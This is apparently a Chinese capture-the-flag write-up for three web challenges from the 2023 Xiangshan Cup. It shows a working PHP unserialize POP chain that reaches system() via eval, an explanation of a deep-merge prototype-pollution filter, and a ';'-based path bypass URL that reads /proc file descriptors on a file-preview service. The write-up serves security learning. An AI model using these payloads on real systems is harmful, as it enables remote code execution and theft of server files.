2023香山杯 WriteUp Web

PHP_unseriliaze_pro

简单的POC:

<?php
error_reporting(0);
class Welcome{
    public $name;
    public $arg = 'welcome';
    public function __construct(){
        $this->name = 'Wh0 4m I?';
    }
    public function __destruct(){
        if($this->name == 'A_G00d_H4ck3r'){
            echo $this->arg;  //
        }
    }
}

class G00d{
    public $shell;
    public $cmd;
    public function __invoke(){
        $shell = $this->shell;
        $cmd = $this->cmd;
        var_dump($shell);
        var_dump($cmd);
        if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
            die("U R A BAD GUY");
        }
        eval($shell($cmd));
    }
}

class H4ck3r{
    public $func;
    public function __toString(){
        $function = $this->func;
        $function(); ///
    }
}

unserialize($_GET['a']);

$a = new Welcome;
$a->name = "A_G00d_H4ck3r";
$a->arg = new H4ck3r;
$b = new G00d;
$a->arg->func = $b;
$b->shell = "rtrim";
$b->cmd = "system(\$_POST[1]);";
echo serialize($a);
highlight_file(__FILE__);
//$shell = 'eval';
//$cmd = '$_GET[1]';
//eval($shell($cmd));
?>

最后逃逸cmd,你返回的必须是字符串才能被eval执行

include和eval和require一样(在群里看atao师傅发言学到的

注意: 因为是语言构造器而不是函数,不能被 可变函数 或者 命名参数 调用。

meow_blog

  waf: (req, res, next) => {   //
    const params = {}
    collection.extend(true, params, req.body || {})
    collection.extend(true, params, req.query || {})
    for (key of Object.keys(params)) {
      if (params[key].toString() === '[object Object]') {  // 这里进行原型链污染
        return res.render('error', { layout: 'member', error: 'No Objects!' })
      }
    }
    req.data = params;  
    return next();
  }
}
    collection.extend(true, params, req.body || {})
    collection.extend(true, params, req.query || {})

这两行代码主要是使用了 collection.extend() 方法对 params 对象进行了合并。这个方法通常用于将一个或多个对象的属性合并到一个目标对象中。其中,第一个参数表示目标对象,后面的参数则表示源对象,可以传递多个源对象。

通过调用 collection.extend(true, params, req.body || {}) 方法,将 req.body 对象的所有属性合并到 params 对象中,并覆盖相同的属性。其中,第一个参数 true 表示执行深度合并,也就是合并所有嵌套对象的属性,而不仅仅是浅拷贝。

类似地,第二个调用 collection.extend(true, params, req.query || {}) 则将 req.query 对象的属性合并到 params 对象中。

通常,这种技术被用于编写 node.js web 应用程序,以便将请求的参数(包括请求体和查询字符串)与默认参数进行合并并传递给处理函数。

最近在细细的学习原型链污染,后面一起补吧(唉

sharedBox

这题看了wp,只会非预期解法:

这题比赛的时候,版本我找到的很快是通过/fileview/onlinePreview?url=http://localhost:8012/index.html判断的低版本

然后去复现了出现过的历史漏洞,除了XSS复现成功了,其他都不行,我还以为是我版本判断错误了,后面才发现这个还得你自己去审计一下源码,网上的POC被nginx禁止了 问了渗透的哥们才知道他们经常用 ; 这个符号去绕未授权的路径

这个删文件,然后有文件流是我不知道的。然后爆破/proc/num/fd/num可以爆破到flag,在这个路径下找到了,还有用url编码绕过

/fileview/;/getCorsFile?urlPath=file///%70%72%6f%63/28/%66%64/6

预期解法:

读/root/flag.java文件,然后审计rce

import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Properties;

public class flag {

    public static void main(String[] args) {
        Connection conn = null;
        Properties prop = new Properties();
        InputStream input = null;
        try {
            input = Files.newInputStream(Paths.get("/tmp/config.properties"));
            while(true){
                // 连接到SQLite数据库
                // 创建一个属性对象
                prop.load(input);

                // 创建一个Connection对象,并传入属性对象
                conn = DriverManager.getConnection("jdbc:sqlite:/tmp/mydatabase.db", prop);
                // 设置密码
                Statement stmt = conn.createStatement();
                stmt.close();
                Thread.sleep(5000);
            }
            // 接下来,你可以在此处执行其他操作
        } catch (SQLException e) {
            System.out.println(e.getMessage());
        } catch (InterruptedException | IOException e) {
            throw new RuntimeException(e);
        } finally {
            try {
                if (conn != null) {
                    conn.close();
                }
            } catch (SQLException ex) {
                System.out.println(ex.getMessage());
            }
        }

    }
}

参考链接:

https://security.snyk.io/vuln/SNYK-JS-COLLECTIONJS-3185148

https://tyaoo.github.io/2021/09/25/Handlebars-AST%E6%B3%A8%E5%85%A5/

https://www.yuque.com/dat0u/ctf/rn62m6832mihed4t